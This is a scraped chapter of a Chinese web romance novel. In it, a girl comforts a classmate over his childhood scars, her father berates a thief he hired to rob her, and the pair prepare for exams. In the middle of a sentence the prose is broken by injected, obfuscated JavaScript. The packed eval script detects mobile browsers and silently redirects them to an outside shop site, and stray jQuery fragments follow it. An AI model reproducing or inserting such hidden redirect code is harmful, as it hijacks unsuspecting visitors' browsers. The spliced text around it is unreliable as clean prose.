文趣网 > 其他小说 > 乌龟的小步[破镜重圆] > 24. 第二十四步
    顾放心中一惊,用笑容掩饰自己的不堪:“也不全是,男孩子嘛,小时候调皮受伤是常事。”

    他打着哈哈过去,双手不自然地多了很多小动作。

    却没想到纪遇直接凑过来,一脸心疼地抚上他的耳垂:“顾放。”

    “嗯?”

    “你疼不疼?”

    那么小被妈妈划伤的时候疼不疼?

    看着妈妈在自己面前自/残的时候心疼不疼?

    被误解的时候疼不疼?

    纪遇冰凉的指尖触上温热的耳垂,小心翼翼地抚摸。

    像是穿越了数十年,回到了那个风雨交加的夜晚,一双隐形的手替他舔舐伤口。

    告诉他,不疼了。

    ——————

    另一个小巷子的尽头,深处传来一声巨响。

    紧接着□□挨揍的声音响起,男人的叫骂声隔着马路都能听到。

    “我艹你娘的,你个挨千刀的,赔我钱。”

    纪江海一脚踹在男人的腿上,声音结实。

    “我请你来不是让你给人家送钱的!我花了那么多钱,你说一句钱被抢走了就完事了?”

    又一脚踹在男人的背上。

    那小偷想狡辩,眼神惶恐地看着纪江海:“我我我不是故意的,本来都……拿拿拿到了,半路冒出来个小男生。”

    纪江海气得朝他吐了口唾沫,眼睛瞪得几乎要裂开。

    “你也知道那是个小男孩啊,一个黄毛小子都搞不定你还好意思说,我让你说!”

    那老板知道他家里的事,听到他之前的做法之后直摇头,说他太傻。

    纪江海求教时,那老板才挺着啤酒肚,肥头大耳在那眯着眼睛笑。

    他说,只有父母能狠得下心抛弃孩子,孩子是再怎么样也抛不下父母的。

    只要他假装对纪遇好一点,女孩子再心一软。

    多少钱都能帮他凑得出来。

    所以啊,当务之急是改变策略,变成个好爸爸。

    要买什么就买,要吃什么就吃。

    放长线钓大鱼,时间一久啊,孩子就信任你了。

    纪江海之前的做法?

    太蠢,太蠢。

    纪江海一听,心里高兴啊。

    他到底说也是纪遇的爸爸,生活相处了这么多年,知道纪遇是个什么样的性格。

    心软,又容易感到愧疚。

    纪江海一拍脑袋,想到个好主意。

    假装自己努力干活信了纪遇的话,假阔绰地给她五千块,再派人将她的钱全部抢了。

    这样一来,一分钱没损失还能挣回来一点。

    最重要的是,纪遇对他有了愧疚之情。

    日后想干什么,都能拿这事出来说两句。

    结果现在呢?

    不仅没捞着纪遇的钱,自己的钱也没了。

    钱没了。

    钱没了还玩个屁啊!

    他抽了口烟,怒气冲冲地碾碎烟头。

    “忒”一声不解气地又给上一脚。

    草包玩意儿……

    另一头无人路过的小屋内。

    纪遇的手细细描摹着顾放的伤痕。

    她第一次看到顾放挫败伤感的样子。

    原来他也不是天之骄子。

    原来他也需要担心那些不属于他年纪的事情。

    他的背脊在时间的流逝中慢慢弯曲,身体放松。

    终于,也露出了脆弱的一面。

    不是那个张扬自信的顾放,也不是那个乱玩也能得满分的让人羡慕嫉妒的顾放。

    是会因为妈妈爸爸不喜欢自己而难过的顾放。

    纪遇的心中涌出一阵酸痛的感觉。

    直到后来,纪遇才懂得那阵怪异的不知名的酸涩感名为心疼和感同身受。

    顾放的呼吸放缓。

    睫毛轻轻颤了颤。在纪遇的注视下缓缓睁开。

    盯着纪遇。

    他看到了她眸中闪过的一丝难过。

    心中荒唐一笑。

    居然真的会有人知道了这些事情之后不会嘲笑他。

    他喉头一滚,干脆想将心里的话说出来时。

    在那一刹那。

    门外突然传来一阵窸窣声。

    紧接着,大门被人一下砸开。

    谢沛升傻呵呵地站在门口,大喊:“顾老四!我来救你了。

    门外的冷风争先恐后地挤进小屋内,将逐渐升温的气氛打破。

    屋内的两人皆是一愣。

    纪遇迅速地收回手,看向门口。

    看到谢沛升的那一刻,脸部气温直接飙升,红成一颗苹果。

    “哟,薄荷糖妹妹?你居然也在这。”谢沛升也一惊。

    他通过顾放的定位手链知道他被困在这里,没想到居然还有人和他做伴。

    顾放一记眼风剐过去。

    心中“啧”一声。

    坏他好事。

    谢沛升还傻傻地在那里站着吱哇乱叫:“快出去啊快出去啊,还愣着干嘛。”

    他见两人尴尬得没动静,直接上手将两人推出去。

    “都不感谢我,没有我你俩饿死在这八百年都不带被人发现的。”

    纪遇先一步出去了,顾放看了看门外女孩的身影,又看了看谢沛升傻乐的模样。

    气不打一处来。

    上手拧了一把谢沛升的耳朵:“早不来晚不来,你小子挑准了时间的吧。”

    “啥呀,诶疼疼疼。你大爷的。”

    “滚蛋滚蛋。”顾放根本不想看到他,头都不回陪着纪遇回家了。

    到了家楼下,纪遇磨蹭了半天不敢上去。

    她紧张地话多得反常。

    “我们明天还是要一起吃早饭的对吧。”

    “嗯”

    “那明天什么时候补习啊。”

    “还是老时间。”

    “任宵宵最近和林茂盛好像关系越来越好了,她都不怎么和我玩了。”

    顾放这才意识到她是在害怕回家,好笑地看着她:“纪小鱼,你不会是不想回家吧?”

    他低头看着她纠结的小手。

    顾放很早就发现,纪遇只要紧张,她的手就会像扭麻花一样扭在一起。

    被人戳穿,纪遇佯装不懂:“啊?我没有啊。我只是有点劫后余生而已。”

    “哦……”他目光温柔,眼里带着笑看着她叽叽喳喳地说个不停,嘴角一直没下去过。

    他抬起手腕,看了眼时间。

    不早了。

    纪遇终于坚持不住了,哭丧着个脸:“我害怕……顾放。我出门的时候和我妈说同学找我有事,她肯定以为我就是出去吃个中午饭就回来,结果现在吃晚饭的时间都过了……肯定要挨骂了。”

    而且……她看了看包里的现金:“要是争执不下,包里的现金被她发现,我就彻底完蛋了。”

    她眼里的着急不假。

    顾放想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555752|203485||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了想,双手捏住她的两肩:“我陪你上去。”

    “你陪我上去?”纪遇眼睛都睁大了。

    秦梅看到她和男生一块出去玩到现在才回家更是要气死。

    “不行不行不行,那样更完蛋。”纪遇连连摆手。

    顾放直起身子,单手捏了捏她的手掌,像是在打气:“放心,她绝对不会骂你。”

    很神奇,纪遇总是能在顾放的话语中找到安心的栖息地。

    他说不会发生的事,就一定不会发生。

    秦梅果然没睡。

    她脸色很差,坐在沙发上,手机屏幕上打给纪遇的电话数不清的多。

    听到敲门声,她快速地站起,开了门。

    见到纪遇的那一刻心才放下来。

    怒气随之而来。

    “你!……”

    顾放将纪遇推进门内,示意她进房间。

    紧接着朝秦梅鞠了一躬,态度诚恳:“阿姨,不好意思,今天中午学校里任宵宵的社团有事才叫纪遇去的。但是事情太多一直忙到下午,任宵宵才让我先行送纪遇回家,只不过……路上我家的车胎坏了。”

    他说话时眼睛一直看着秦梅,观察着她的表情。

    “原来是车胎坏了。那她怎么也不接电话啊。”

    “纪遇的电话在路上没电了,她一路上都很焦急担心,我放心不下才跟着上来解释一下。是我的问题,害您担心了。”顾放又重重地鞠了一躬,表达歉意。

    两次鞠躬,理由也合理,秦梅不好多说什么,人不能控制意外的发生。

    男生也是好心。

    秦梅表情这才缓和下来。

    她知道自家女儿的性格。

    刚刚她一脸担忧地进门,再结合这男生说的话,不能有假。

    她转身进了厨房,拿了点水果:“谢谢你送她回家,大晚上的回去路上慢一点。”

    “谢谢阿姨,那你们早点休息。”顾放礼貌地关上门。

    真的像顾放所保证的,无事发生,秦梅关心了两句就叮嘱她早点洗漱睡觉就自己关了门。

    纪遇悄悄地打开窗户,往下看。

    顾放刚好在楼下,有感应一般,在那一瞬间抬头看向她的卧室。

    纪遇开心地朝他挥了挥手,两个人默契地没有说话,在视线中保守属于他们的秘密。

    她看向藏在角落的香水,打开,小心地喷出一小泵。

    细细嗅上一口,好香,好安心。

    她含着笑钻进被子,在闭眼前暗暗地想。

    终于,她们有了只属于两个人的秘密。

    只属于他们两个。

    ——————

    光阴似箭,白驹过隙,在人和人的相处中,在人和人的秘密中。

    期末考试如期进行。

    这段时间,纪遇推了所有的兼职,一放学就去顾放的家里,两个人咬着牙拼命补习。

    因为纪遇不能待得太晚,顾放只能将精华压缩,抓紧一切时间给她补课。

    她脑瓜子其实很聪明,就是需要多练几遍题,才能完全掌握解题方法。

    顾放这段时间球也不打了,摩托车也不骑了,逮着时间就给纪遇找题。

    谢沛升笑着调侃道:“我们顾大少爷在京市都没认真成这样过,贬来淮城居然开始努力了?稀奇稀奇。”

    每当这时候,顾放也只笑骂一句“滚。”后继续找题。

    终于,在两人的期待下,期末考试到来了。